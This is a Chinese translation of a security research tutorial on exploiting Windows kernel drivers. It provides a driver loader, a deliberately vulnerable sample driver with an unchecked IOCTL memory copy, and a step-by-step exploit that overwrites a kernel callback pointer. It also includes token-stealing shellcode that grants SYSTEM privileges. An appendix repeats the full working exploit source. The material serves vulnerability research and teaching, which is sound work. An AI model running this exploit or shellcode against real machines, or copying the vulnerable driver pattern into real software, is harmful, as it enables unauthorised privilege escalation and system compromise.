Exploiting Windows Device Drivers

By Piotr Bania <bania.piotr@gmail.com>
http://pb.specialised.info
翻译：ayarei <xuewufh@Gmail.com>
http://hi.baidu.com/ayarei

"By the pricking of my thumbs, something wicked this way comes . . ."
- "Macbeth", William Shakespeare.

免责声明

作者对提供的信息或者代码的用途不负有任何责任。作者保留文章著作权。任何公众范围的代码或者文字的电子复制或打印需经过作者同意。

介绍

设备驱动漏洞现在正在增长成为 Windows 和其他操作系统安全的主要威胁。这是一个相关的新领域，但是很少有公开的技术文档讲述这个方面。据我所知，第一个 windows 设备驱动攻击是有 SEC-LABS 小组在 Win32 Device Drivers Communication Vulnerabilities 白皮书中提到的。这个文章公开了一些有用的驱动溢出技术，并且描绘了未来研究的蓝图。第二个值得一读的文章是 Barnaby Jack 的文章，叫做“Remote Windows Kernel Exploitation Step into the Ring 0” 。由于这方面技术文档的缺乏，我决定共享我自己的研究成果。在这个文章中，我将会介绍我的设备驱动攻击技术，提供一些详细的可用技术的细节，包括完整的攻击代码和用于测试的样例驱动的代码。

读者需要拥有 IA-32 汇编阅读能力和软件漏洞攻击经验。另外，强烈建议你要去阅读之前提过的两篇白皮书。

实验环境的组建

过程中我使用了我的小型“实验室”：

- 一台 1G 内存的电脑；
- 虚拟机软件，比如 Vmware；
- windbg 或者 softice。我在 VMware 中使用第二种，但是它并不怎么稳定；
- IDA 反汇编器；
- 一些软件我会在后面提到。

我在虚拟机和主机之间使用 pipe 进行远程调试，但是通常其他方式更好一点。如果你想进一步研究驱动的话，这个环境的组建是非常重要的。

特权级和用户态

操作系统可以工作在不同的特权级别中，我们叫做 Ring。最特权模式是 Ring0，我们叫做内核模式。简单点说就是，如果你有了 ring0 权限，你就变成了系统中的上帝。内核模式的内存地址从 0x80000000 到 0xFFFFFFFF。

用户态代码（软件）在 Ring3 模式下运行（它没有访问 Ring0 模式的权限），并且他不能直接访问操作系统的函数，如果想使用这些函数只能通过 call 请求他们。这个叫做函数封装。用户模式内存地址是由 0x00000000 到 0x7FFFFFFF。

Windows 系统使用了两种权限模式（ring0 和 ring3）。

Driver loader

在我发布那个简单驱动之前，我们先来简单看下如何加载它。这是实现这个功能的代码：

```
/* wdl.c */

#define UNICODE

#include <stdio.h>
#include <conio.h>
#include <windows.h>

void install_driver(SC_HANDLE sc, wchar_t *name)
{
    SC_HANDLE service;
    wchar_t    path[512];
    wchar_t    *fp;

    if (GetFullPathName(name, 512, path, &fp) == 0)
    {
        printf("[-] Error: GetFullPathName() failed, error = %d\n",GetLastError());
        return;
    }

    service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \
                            SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START, \
                            SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \
                            NULL, NULL);

    if (service == NULL)
    {
        printf("[-] Error: CreateService() failed, error %d\n",GetLastError());
        return;
    }

    printf("[+] Creating service - success.\n");
```

```
    CloseServiceHandle(sc);

    if (StartService(service, 1, (const unsigned short**)&name) == 0)
    {
        printf("[-] Error: StartService() failed, error %d\n", GetLastError());

        if (DeleteService(service) == 0)
            printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError());
        return;
    }
    printf("[*] Staring service - success.\n");
    CloseServiceHandle(service);
}

void delete_driver(SC_HANDLE sc, wchar_t *name)
{
    SC_HANDLE service;
    SERVICE_STATUS status;

    service = OpenService(sc, name, SERVICE_ALL_ACCESS);

    if (service == NULL)
    {
        printf("[-] Error: OpenService() failed, error = %d\n", GetLastError());
        return;
    }

    printf("[+] Opening service - success.\n");

    if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0)
    {
        printf("[-] Error: ControlService() failed, error = %d\n",GetLastError());
        return;
    }

    printf("[+] Stopping service - success.\n");

    if (DeleteService(service) == 0) {
        printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError());
        return;
    }

    printf("[+] Deleting service - success\n");
```

```
    CloseServiceHandle(sc);
}

int main(int argc, char *argv[])
{
    int m, b;
    SC_HANDLE sc;
    wchar_t    name[MAX_PATH];

    printf("[+] Windows driver loader by Piotr Bania\n\n");

    if (argc != 3)
    {
        printf("[!] Usage: wdl.exe (/l | /u) driver.sys\n");
        printf("[!] /l - load the driver\n");
        printf("[!] /u - unload the driver\n");
        getch();
        return 0;
    }

    if (strcmp(argv[1], "/l") == 0)
        m = 0;
    else
        m = 1;      // default uninstall mode

    sc = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE,
SC_MANAGER_ALL_ACCESS);

    if (sc == NULL)
    {
        printf("[-] Error: OpenSCManager() failed\n");
        return 0;
    }

    b = MultiByteToWideChar(CP_ACP,    0, argv[2], -1, name, MAX_PATH);

    if (m == 0)
    {
        printf("[+] Trying to load: %s\n",argv[2]);
        install_driver(sc, name);
    }

    if (m != 0)
    {
```

```
            printf("[+] Trying to unload: %s\n",argv[2]);
            delete_driver(sc, name);
        }

        getch();
}

/* wdl.c ends */
```

含漏洞的驱动样本

这是含漏洞驱动的样例代码，我们将会在文章接下来尝试攻击它。这个驱动的基于 Iczelion 的框架模型。

```
; buggy.asm start
.386
.MODEL FLAT, STDCALL
OPTION CASEMAP:NONE

INCLUDE         D:\masm32\include\windows.inc

INCLUDE         inc\string.INC
INCLUDE         inc\ntstruc.INC
INCLUDE         inc\ntddk.INC
INCLUDE         inc\ntoskrnl.INC
INCLUDE         inc\NtDll.INC
INCLUDELIB    D:\masm32\lib\wdm.lib
INCLUDELIB    D:\masm32\lib\ntoskrnl.lib
INCLUDELIB    D:\masm32\lib\ntdll.lib

.CONST
pDevObj                                 PDEVICE_OBJECT 0
TEXTW szDevPath,                    <\Device\BUGGY/0>
TEXTW szSymPath,                    <\DosDevices\BUGGY/0>
.CODE
assume fs : NOTHING

DriverDispatch proc uses esi edi ebx, pDriverObject, pIrp
        mov    edi, pIrp
        assume    edi : PTR _IRP
        sub         eax, eax
        mov         [edi].IoStatus.Information, eax
        mov         [edi].IoStatus.Status, eax
        assume    edi : NOTHING
```

```
    mov         esi, (_IRP PTR [edi]).PCurrentIrpStackLocation
    assume    esi : PTR IO_STACK_LOCATION
    .IF [esi].MajorFunction == IRP_MJ_DEVICE_CONTROL

        mov         eax, [esi].DeviceIoControl.IoControlCode

        .IF eax == 011111111h

            mov         eax, (_IRP ptr [edi]).SystemBuffer    ; inbuffer
            test    eax,eax
            jz    no_write

            mov      edi, [eax]                  ; [inbuffer] = dest
            mov      esi, [eax+4]                ; [inbuffer+4] = src
            mov      ecx, 512                    ; ecx = 512 bytes
            rep      movsb                       ; copy

no_write:
        .ENDIF
    .ENDIF
    assume esi : NOTHING
    mov         edx, IO_NO_INCREMENT ; special calling
    mov         ecx, pIrp
    call        IoCompleteRequest
    mov         eax, STATUS_SUCCESS
    ret
DriverDispatch ENDP

DriverUnload proc uses ebx esi edi, DriverObject local usSym : UNICODE_STRING
    invoke    RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
    invoke    IoDeleteSymbolicLink, ADDR usSym
    invoke    IoDeleteDevice, pDevObj
    ret
DriverUnload ENDP

.CODE INIT
DriverEntry proc uses ebx esi edi, DriverObject, RegPath
    local     usDev         : UNICODE_STRING
    local     usSym         : UNICODE_STRING

    invoke    RtlInitUnicodeString, ADDR usDev, OFFSET szDevPath
    invoke    IoCreateDevice, DriverObject, 0, ADDR usDev, FILE_DEVICE_NULL, 0,
FALSE, OFFSET pDevObj
    test        eax,eax
```

```
    jnz         epr
    invoke    RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
    invoke    IoCreateSymbolicLink, ADDR usSym, ADDR usDev
    test    eax, eax
    jnz         epr

    mov         esi, DriverObject
    assume    esi : PTR DRIVER_OBJECT
    mov         [esi].PDISPATCH_IRP_MJ_DEVICE_CONTROL, OFFSET DriverDispatch
    mov         [esi].PDISPATCH_IRP_MJ_CREATE, OFFSET DriverDispatch
    mov         [esi].PDRIVER_UNLOAD, OFFSET DriverUnload
    assume    esi : NOTHING

    mov         eax, STATUS_SUCCESS

epr:
    ret
DriverEntry ENDP

End DriverEntry
; buggy.asm ends
```

漏洞分析

你可以在上面的代码中发现一处明显的漏洞：

```
--------------------------------------SKIP-------------------------------------------------
.IF eax == 011111111h

                mov         eax, (_IRP ptr [edi]).SystemBuffer    ; inbuffer
                test    eax,eax
                jz    no_write

                mov     edi, [eax]              ; [inbuffer] = dest
                mov     esi, [eax+4]              ; [inbuffer+4] = src
                mov     ecx, 512                ; ecx = 512 bytes
                rep     movsb                   ; copy

no_write:
            .ENDIF
--------------------------------------SKIP-------------------------------------------------
```

如果驱动获得 eax 等于 0x011111111，它会检测 lpInputBuffer 参数的值。如果他等于空，则什么也不发生。但是当参数不同于 0 时，驱动从送入的缓冲区中读取数据（源代码描述）并且从源内存中拷贝 512bytes 到目的区域中（如果你愿意，你可以将它看作 memcpy()）。现在你也许会想，对于这样一个如此简单的 memory corruption 利用又有什么难度呢？当然，

这个漏洞看起来十分容易利用，然而你有没有意识到事实上你并不能写入数据到驱动中。我想你应该十分明白看到搜索硬编码堆栈地址作为目标内存参数是完全没意义的。同样的，如果你说这样的漏洞不存在于流行软件中，那你就错了。此外，这里提到的利用技术你可以利用来攻击多种类型的 memory corruption 漏洞，甚至那些被称为 off-by-one 的问题，这些问题是值覆盖内存并且攻击者不可控——不要限制你的思维（好吧，很多时候:)）。让我们开始寻找上面那些问题的答案。

目标：定位可写数据

首先，我们需要定位一些我们可以利用的内核模式模块，这些模块需要在大多数 Windows 操作系统中都是存在的（我的意思是只限于 NT 系统）。一般来说这样可以提高在不同机器上的攻击成功率。现在让我们来看看 Windows 的真实内核——ntoskrnl.exe。

我们先来看看引出的函数：

- KeSetTimeUpdateNotifyRoutine
- PsSetCreateThreadNotifyRoutine
- PsSetCreateProcessNotifyRoutine
- PsSetLegoNotifyRoutine
- PsSetLoadImageNotifyRoutine

看起来这些都是非常有用的，现在我们以 KeSetTimeUpdateNotifyRoutine 为例分析下是否可以被我们利用。

```
PAGE:8058634C                   public KeSetTimeUpdateNotifyRoutine
PAGE:8058634C KeSetTimeUpdateNotifyRoutine proc near
PAGE:8058634C                   mov     KiSetTimeUpdateNotifyRoutine, ecx
PAGE:80586352                   retn
PAGE:80586352 KeSetTimeUpdateNotifyRoutine endp
```

函数会将 ECX 寄存器值写入到我命名为 KiSetTimeUpdateNotifyRoutin 的内存地址中。现在我们看看调用这里的地方：

```
.text:8053512C loc_8053512C:    ; CODE XREF: KeUpdateRunTime+5E□j
.text:8053512C                  cmp     ds:KiSetTimeUpdateNotifyRoutine, 0
.text:80535133                  jz      short loc_80535148
.text:80535135                  mov     ecx, [ebx+1F0h]
.text:8053513B                  call    ds:KiSetTimeUpdateNotifyRoutine
.text:80535141                  mov     eax, large fs:1Ch
.text:80535147                  nop
```

如同你见到的那样，在 0x8053513B 位置，指令将会从 KiSetTimeUpdateNotifyRoutine 内存地址（当然它得非 0）执行。这样我们就可以将 KiSetTimeUpdateNotifyRoutine 改写成我们希望执行的内存地址。但是这个方法存在着一些问题，我曾经对比过一些 windows 内核发现，他们中很多在执行 call "routines"(比如 call dword ptr [KiSetTimeUpdateNotifyRoutine]) 时会发生丢失现象，因为他们中有些仅仅只是写入或者读取操作，而不是执行。这个结果令我非常失望，于是我开始寻找其他的有用的缺陷代码点。通过对比一些内存中的调用，我发现了以下的地址：

```
(note I have named this value as KeUserModeCallback_Routine by myself)

.data:8054B208 KeUserModeCallback_Routine dd ?         ; DATA XREF: sub_8053174B+94□r
.data:8054B208                                         ; KeUserModeCallback+C2□r ...

Referenced by:

PAGE:8058696E loc_8058696E:                            ; CODE XREF: KeUserModeCallback+A6□j
PAGE:8058696E                 cmp     dword ptr [ebp-3Ch], 0
PAGE:80586972                 jbe     short loc_80586980
PAGE:80586974                 add     dword ptr [ebx], 0FFFFFF00h
PAGE:8058697A                 call    KeUserModeCallback_Routine
```

0x8058697A 处的指令好像是被预置的，而且在所有我看过的内核中都是可用的。这个给我足够的结果可以用来进行攻击了，现在让我们来计划下如何攻击吧。

注意：还有一些其他位置的资源我们可以利用，你甚至可以邪恶的安装你自己的 System Service Table 或者其他更核心的东西。

我们的攻击计划

这里是几个我们攻击这个漏洞的关键点：

1) 定位 ntoskrnl.exe 基址——这个地址会在 Windows 运行时改变。
2) 加载 ntoskrnl.exe 模块到用户层空间，获得 KeUserModeCallback_Routine 地址，最后加上 ntoskrnl 基址，求的当前地址。
3) 发送一个信号，并且从 KeUserModeCallback_Routine 地址处获取 512bytes（由于漏洞的性质，我们有这样的可能，当我们会改变 KeUserModeCallback_Routine 的 4 字节时这样能够增强我们利用程序的稳定性）。
4) 发送一个包含特殊构造数据的信号（正如我们之前提到过，覆盖 KeUserModeCallBackRoutine 的值，并且使它指向我们的内存（shellcode））。
5) 开发特殊内核模式下的 Shellcode（当然，shellcode 在第四步之前或者第四步的时候就需要做好了，现在是执行他。）
   5a) 重设 KeUserModeCallback_Routine 指针
   5b) 给你的进程 SYSTEM 进程 token。
   5c) 执行正确的 KeUserModeCallback_Routine。

关键点 1：定位 ntoskrnl.exe 基址

Ntoskrnl (windows 内核)基址会随着每次系统的启动而改变，因此我们不能硬编码它的基址，这样是没什么作用的。简单地说，我们需要从哪里获得这个地址呢。我们可以使用 SystemModuleInformation 类的 native API NtQuerySystemInformation 获得。接下来的代码会为我们描述这个过程：

```
NTSTATUS WINAPI NtQuerySystemInformation(
  __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
  __inout    PVOID SystemInformation,
  __in       ULONG SystemInformationLength,
  __out_opt  PULONG ReturnLength
);
```

```
; ------------------------------------------------------------
; Gets ntoskrnl.exe module base (real)
```

```
; ------------------------------------------------------
get_ntos_base     proc
      local __MODULES    : _MODULES
      pushad
      @get_api_addr "ntdll","NtQuerySystemInformation"
      @check 0,"Error: cannot grab NtQuerySystemInformation address"
      mov    ebx,eax                                    ; ebx = eax = NTQSI addr
      call    a1                                        ; setup arguments
ns       dd    0
a1:       push    4
      lea    ecx,[__MODULES]
      push    ecx
      push    SystemModuleInformation
      call    eax                                       ; execute the native
      cmp    eax,0c0000004h                             ; length mismatch?
      jne    error_ntos
      push    dword ptr [ns]                ; needed size
      push    GMEM_FIXED or GMEM_ZEROINIT                ; type of allocation
      @callx GlobalAlloc                                ; allocate the buffer
      mov    ebp,eax
      push    0                                         ; setup arguments
            push    dword ptr [ns]
      push    ebp
      push    SystemModuleInformation
      call    ebx                                       ; get the information
      test    eax,eax                                   ; still no success?
      jnz    error_ntos
                                                        ; first module is
always
                                                        ; ntoskrnl.exe
                  mov    eax,dword ptr [ebp.smi_Base]          ; get ntoskrnl base
      mov    dword ptr [real_ntos_base],eax            ; store it
      push    ebp                                       ; free the buffer
```

```
        @callx GlobalFree

        popad
        ret

error_ntos:    xor    eax,eax
        @check 0,"Error: cannot execute NtQuerySystemInformation"

get_ntos_base      endp


_MODULES        struct
  dwNModules    dd    0

;_SYSTEM_MODULE_INFORMATION:
  smi_Reserved dd    2 dup (0)
  smi_Base    dd    0
  smi_Size    dd    0
  smi_Flags    dd    0
  smi_Index    dw    0
  smi_Unknown    dw    0
  smi_LoadCount dw    0
  smi_ModuleName    dw    0
  smi_ImageName db    256 dup (0)
;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset
_SYSTEM_MODULE_INFORMATION
        ends
```

关键点 2：加载 ntoskrnl.exe 模块，并获得 KeUserModeCallback_Routine 地址

加载 ntoskrnl.exe 到程序的空间非常简单，我们可以使用 LoadLibraryEx API 实现。不同的 Windows 内核有不同的 KeUserModeCallback_Routine 地址，因此我们需要获取当前的地址。正如你所看到的 call 请求那样（call dword ptr [KiSetTimeUpdateNotifyRoutine]），请求总是来自低于 KeUserModeCallback 函数的地址。我们会利用这个特性，我们需要找到 KeUserModeCallbac 地址，搜索特殊的 call 指令代码（0xFF15 byte），经过简单的计算我们就可以得到 KeUserModeCallback_Routine 的地址。代码我们举例说明：

```
; ------------------------------------------------------
; finds the KeUserModeCallback_Routine from ntoskrnl.exe
; ------------------------------------------------------

find_KeUserModeCallback_Routine    proc

        pushad

        push    1          ;DONT_RESOLVE_DLL_REFERENCES
```

```
    push    0
    @pushsz "C:\windows\system32\ntoskrnl.exe"          ; ntoskrnl.exe is ok also
    @callx LoadLibraryExA                               ; load library
    @check      0,"Error: cannot load library"
    mov    ebx,eax                                      ; copy handle to ebx


    @pushsz    "KeUserModeCallback"
    push    eax
    @callx GetProcAddress                               ; get the address
    mov    edi,eax

    @check 0,"Error: cannot obtain KeUserModeCallback address"


scan_for_call:
                inc    edi
    cmp    word ptr [edi],015FFh                        ; the call we search for?
    jne    scan_for_call                                ; nope, continue the scan

    mov    eax,[edi+2]                                  ; EAX = call address
    mov    ecx,[ebx+3ch]
    add    ecx,ebx                                      ; ecx = PEH
    mov    ecx,[ecx+34h]                                ; ECX = kernel base from PEH
    sub    eax,ecx                                      ; get the real address
    mov    dword ptr [KeUserModeCallback_Routine],eax ; store

    popad
    ret


find_KeUserModeCallback_Routine    endp
```

关键点 3：发送一个信号，从 KeUserModeCallback_Routine 地址处获得 512 bytes

当我们使用一些代码覆盖 512 bytes 的内核空间时，我们有很大可能会导致机器崩溃。为了避免这种情况，我们会使用一些狡猾的方法：发送一个包含我们可以从原始 ntoskrnl 数据中获得的 lpInputBuffer 结构信号，就像下面的 exploit 代码中演示的那样：

```
D_PACKET    struct                                      ; little vulnerable driver
  dp_dest    dd    0                                    ; signal struct
  dp_src              dd    0
D_PACKET    ends

    ; first signal copies original bytes to the buffer
```

```
    mov    eax,dword ptr [KeUserModeCallback_Routine]
    mov    dword ptr [routine_addr],eax
    mov    [edi.D_PACKET.dp_src],eax                ; eax = source
    mov    [edi.D_PACKET.dp_dest],edi               ; edi = dest (allocated mem)
    add    [edi.D_PACKET.dp_dest],8                 ; edi += sizeof(D_PACKET)
    mov    ecx,512                                  ; size of input buffer
    call   talk2device                              ; send the signal!!!
                                                    ; code will be stored at edi+8
```

关键点 4：覆盖 KeUserModeCallback_Routine

关键是如何执行我们的 shellcode。通常我们使用与上次信号交换值的方法实现，而且仅需要改变第一次读取数据的前四个字节。

```
    ; make the old KeUserModeCallback_Routine point to our shellcode
    ; and exchange the source packet with destination packet

    mov    [edi+8],edi                              ; overwrite the old routine
    add    [edi+8],512 + 8                          ; make it point to our shellc.

    mov    eax,[edi.D_PACKET.dp_src]
    mov    edx,[edi.D_PACKET.dp_dest]
    mov    [edi.D_PACKET.dp_src],edx                ; fill the packet structure
    mov    [edi.D_PACKET.dp_dest],eax

    mov    ecx,MY_ADDRESS_SIZE
    call   talk2device                              ; do the magic thing!
```

关键点 5：开发特定的内核模式 shellcode

因为我们攻击的是逻辑上的驱动，我们没有办法使用常用的 shellcode。我们可以使用少量的其他变量，比如我的 windows syscall shellcode（公布在 SecurityFocus，请参见参考文献）。但是有很多非常有用的例子，现在我就讨论下在 Xcon 上 Eyas 介绍到的 shellcodde。这个想法非常简单。首先，我们需要找到 System 的 token，然后我们将它分配给我们的进程——这会将给我们的进程 System 权限。

步骤：

- *找到 ETHREAD（位于 fs:[0x124]）*
- *从 ETHREAD 开始遍历 EPROCESS*
- *我们使用 EPROCESS.ActiveProcessLinks 检测所有运行中的进程*
- *我们将运行中的进程的 pid 与 System 的 pid 比较（Windows XP 始终为 4）*
- *获得后，我们搜索我们进程的 pid，并且讲 System 的 token 分配给我们的进程*

这里是完整的 shellcode：

```
; ------------------------------------------------------
; Device Driver shellcode
; ------------------------------------------------------

XP_PID_OFFSET           equ    084h          ; hardcoded numbers for Windows XP
```

```
XP_FLINK_OFFSET       equ    088h
XP_TOKEN_OFFSET       equ    0C8h
XP_SYS_PID            equ    04h


my_shellcode          proc

      pushad

      db    0b8h              ; mov    eax,old_routine
old_routine    dd    0              ; hardcoded

      db    0b9h              ; mov      ecx,routine_addr
routine_addr dd    0              ; this too

      mov    [ecx],eax          ; restore old routine
                        ; avoid multiple calls...

      ; -------------------------------------
      ; start escalation procedure
      ; -------------------------------------


      mov    eax,dword ptr fs:[124h]
      mov    eax,[eax+44h]
      push    eax               ; EAX = EPROCESS


s1:       mov    eax,[eax+XP_FLINK_OFFSET] ; EAX =
EPROCESS.ActiveProcessLinks.Flink
      sub    eax,XP_FLINK_OFFSET      ; EAX = EPROCESS of next process
      cmp    [eax+XP_PID_OFFSET],XP_SYS_PID    ; UniqueProcessId == SYSTEM PID ?
      jne    s1                ; nope, continue search

                        ; EAX = found EPROCESS
      mov    edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
      and      edi,0ffffff8h           ; aligned by 8

      pop    eax               ; EAX = EPROCESS
      db    68h               ; hardcoded push
my_pid      dd    0
      pop    ebx               ; EBX = pid to escalate


s2:       mov    eax,[eax+XP_FLINK_OFFSET] ; EAX =
```

```
EPROCESS.ActiveProcessLinks.Flink
        sub    eax,XP_FLINK_OFFSET     ; EAX = EPROCESS of next process
        cmp    [eax+XP_PID_OFFSET],ebx       ; is it our PID ???
        jne    s2              ; nope, try next one

        mov    [eax+XP_TOKEN_OFFSET],edi ; party's over :)

        popad

        db     68h             ; push old_routine
old_routine2 dd    0           ; ret
        ret


my_shellcode_size    equ $ - offset my_shellcode
my_shellcode         endp;
```

结束语

我希望你能够喜欢这个文档，如果你有什么疑问不能解决，请联系我。所有文章中设计的程序可以在我的网站 http://pb.specialised.info 上下载。对我的英语水平致歉，感谢你的阅读。

“When shall we three meet again
In thunder, lightning, or in rain?
When the hurlyburly's done,
When the battle's lost and won.”

- "Macbeth", William Shakespeare.

参考文献：

1) Win32 Device Drivers Communication Vulnerabilities
2) "Remote Windows Kernel Exploitation – Step into the Ring 0", by Barnaby Jack – eEYE digital security – http://www.eeye.com
3) Eyas shellcode publication - ?
4) "The Windows 2000/NT Native Api Reference", by Gary Nebett
5) "Windows Syscall Shellcode", by myself -http://www.securityfocus.net/infocus/1844
6) http://pb.specialised.info

附录：exploit

```
; ------------------------------------------------------------
; Sample local device driver exploit
; by Piotr Bania <bania.piotr@gmail.com>
```

```
; http://pb.specialised.info
; All rights reserved
; ------------------------------------------------------------
include my_macro.inc

DEVICE_NAME    equ    "\\.\BUGGY"
MY_ADDRESS    equ    000110000h
MY_ADDRESS_SIZE    equ    512h        ; some more

D_PACKET    struct
      dp_dest    dd    0
      dp_src dd    0
D_PACKET    ends

      call    find_KeUserModeCallback_Routine
      call    get_ntos_base

      mov    eax,dword ptr [real_ntos_base]
      add    dword ptr [KeUserModeCallback_Routine],eax

      call    open_device
      mov    ebx,eax

      push    PAGE_EXECUTE_READWRITE
      push    MEM_COMMIT
      push    MY_ADDRESS_SIZE
      push    MY_ADDRESS
      @callx VirtualAlloc
      @check 0,"Error: cannot allocate memory!"
      mov    edi,eax

      ; first signal copies original bytes to the buffer

      mov    eax,dword ptr [KeUserModeCallback_Routine]
      mov    dword ptr [routine_addr],eax

      mov    [edi.D_PACKET.dp_src],eax
      mov    [edi.D_PACKET.dp_dest],edi
      add    [edi.D_PACKET.dp_dest],8
      mov    ecx,512
      call    talk2device

      ; original bytes are stored at edi+8 (in size of 512)
      ; now lets fill the shellcode
```

```
    mov    eax,[edi+8]
    mov    dword ptr [old_routine],eax
    mov    dword ptr [old_routine2],eax

    @callx GetCurrentProcessId
    mov    dword ptr [my_pid],eax

    push   edi
    mov    ecx,my_shellcode_size
    add    edi,512 + 8
    lea    esi,my_shellcode
    rep    movsb
    pop    edi

    ; make the old KeUserModeCallback_Routine point to our shellcode
    ; and exchange the source packet with destination packet

    mov    [edi+8],edi
    add    [edi+8],512 + 8

    mov    eax,[edi.D_PACKET.dp_src]
    mov    edx,[edi.D_PACKET.dp_dest]
    mov    [edi.D_PACKET.dp_src],edx
    mov    [edi.D_PACKET.dp_dest],eax

    mov    ecx,MY_ADDRESS_SIZE
    call   talk2device


    push   MEM_DECOMMIT
    push   MY_ADDRESS_SIZE
    push   edi
    @callx VirtualFree

    @debug   "I'm escalated !!!",MB_ICONINFORMATION


exit:
    push    0
    @callx    ExitProcess
```

```
;-------------------------------------------------------------
; Device Driver shellcode
;-------------------------------------------------------------

XP_PID_OFFSET      equ    084h
XP_FLINK_OFFSET       equ    088h
XP_TOKEN_OFFSET       equ    0C8h
XP_SYS_PID       equ    04h


my_shellcode         proc

      pushad

      db    0b8h              ; mov    eax,old_routine
old_routine    dd    0              ; hardcoded

      db    0b9h              ; mov      ecx,routine_addr
routine_addr dd    0              ; this too

      mov    [ecx],eax           ; restore old routine
                        ; avoid multiple calls...

      ;---------------------------------------
      ; start escalation procedure
      ;---------------------------------------


      mov    eax,dword ptr fs:[124h]
      mov    eax,[eax+44h]
      push    eax               ; EAX = EPROCESS

s1:       mov    eax,[eax+XP_FLINK_OFFSET] ; EAX =
EPROCESS.ActiveProcessLinks.Flink
      sub    eax,XP_FLINK_OFFSET      ; EAX = EPROCESS of next process
      cmp    [eax+XP_PID_OFFSET],XP_SYS_PID    ; UniqueProcessId == SYSTEM PID ?
      jne    s1              ; nope, continue search

                        ; EAX = found EPROCESS
      mov    edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
      and      edi,0ffffff8h           ; aligned by 8
```

```
        pop     eax             ; EAX = EPROCESS
        db      68h             ; hardcoded push
my_pid      dd      0
        pop     ebx             ; EBX = pid to escalate

s2:
        mov     eax,[eax+XP_FLINK_OFFSET] ; EAX = EPROCESS.ActiveProcessLinks.Flink
        sub     eax,XP_FLINK_OFFSET     ; EAX = EPROCESS of next process
        cmp     [eax+XP_PID_OFFSET],ebx     ; is it our PID ???
        jne     s2              ; nope, try next one

        mov     [eax+XP_TOKEN_OFFSET],edi ; party's over :)

        popad

        db      68h             ; push old_routine
old_routine2 dd     0           ; ret
        ret


tok_handle      dd      0


my_shellcode_size       equ $ - offset my_shellcode
my_shellcode            endp


; ------------------------------------------------------------
; finds the KeUserModeCallback_Routine from ntoskrnl.exe
; ------------------------------------------------------------

find_KeUserModeCallback_Routine     proc

        pushad

        push    1           ;DONT_RESOLVE_DLL_REFERENCES
        push    0
        @pushsz     "C:\windows\system32\ntoskrnl.exe"
        @callx LoadLibraryExA
        @check      0,"Error: cannot load library"
        mov     ebx,eax


```

```
	@pushsz	"KeUserModeCallback"
	push	eax
	@callx GetProcAddress
	mov	edi,eax

	@check 0,"Error: cannot obtain KeUserModeCallback address"


scan_for_call:	inc	edi
	cmp	word ptr [edi],015FFh
	jne	scan_for_call

	mov	eax,[edi+2]
	mov	ecx,[ebx+3ch]
	add	ecx,ebx
	mov	ecx,[ecx+34h]
	sub	eax,ecx
	mov	dword ptr [KeUserModeCallback_Routine],eax

	popad
	ret


find_KeUserModeCallback_Routine	endp

; ------------------------------------------------------------
; Gets ntoskrnl.exe module base (real)
; ------------------------------------------------------------

get_ntos_base	proc

	local __MODULES	: _MODULES

	pushad

	@get_api_addr "ntdll","NtQuerySystemInformation"
	@check 0,"Error: cannot grab NtQuerySystemInformation address"
	mov	ebx,eax

	call	a1
ns	dd	0
a1:	push	4
	lea	ecx,[__MODULES]
	push	ecx
```

```
        push    SystemModuleInformation
        call    eax
        cmp     eax,0c0000004h
        jne     error_ntos

        push    dword ptr [ns]
        push    GMEM_FIXED or GMEM_ZEROINIT
        @callx GlobalAlloc
        mov     ebp,eax

        push    0
        push    dword ptr [ns]
        push    ebp
        push    SystemModuleInformation
        call    ebx
        test    eax,eax
        jnz     error_ntos

        mov     eax,dword ptr [ebp.smi_Base]
        mov     dword ptr [real_ntos_base],eax


        push    ebp
        @callx GlobalFree

        popad
        ret

error_ntos:     xor     eax,eax
        @check 0,"Error: cannot execute NtQuerySystemInformation"

get_ntos_base       endp


; ------------------------------------------------------
; Opens the device we are trying to attack
; ------------------------------------------------------

open_device         proc

        pushad

        push 0
```

```
        push 80h
        push 3
        push 0
        push 0
        push 0
        @pushsz DEVICE_NAME
        @callx CreateFileA
        @check -1,"Error: cannot open device!"

        mov    dword ptr [esp+PUSHA_STRUCT._EAX],eax
        popad
        ret

open_device        endp


; ------------------------------------------------------------
; Procedure that communicates with the driver
;
; ENTRY ->      EDI      = INPUT BUFFER
;         ECX    = INPUT BUFFER SIZE
;         EBX    = DEVICE HANDLE
; ------------------------------------------------------------

talk2device        proc

        pushad

        push 0
        push offset bytes_ret
        push 0
        push 0
        push ecx
        push edi
        push 011111111h
        push ebx
        @callx DeviceIoControl
        @check 0,"Error: Send() failed"

        popad
        ret

bytes_ret    dd    0
```

```
talk2device       endp


_MODULES       struct
   dwNModules          dd    0
   smi_Reserved        dd    2 dup (0)
   smi_Base            dd    0
   smi_Size            dd    0
   smi_Flags           dd    0
   smi_Index           dw    0
   smi_Unknown         dw    0
   smi_LoadCount       dw    0
   smi_ModuleName      dw    0
   smi_ImageName       db    256 dup (0)

         ends


SystemModuleInformation         equ       11
KeUserModeCallback_Routine      dd    0
real_ntos_base          dd    0
base                dd    0


include       debug.inc

end start
```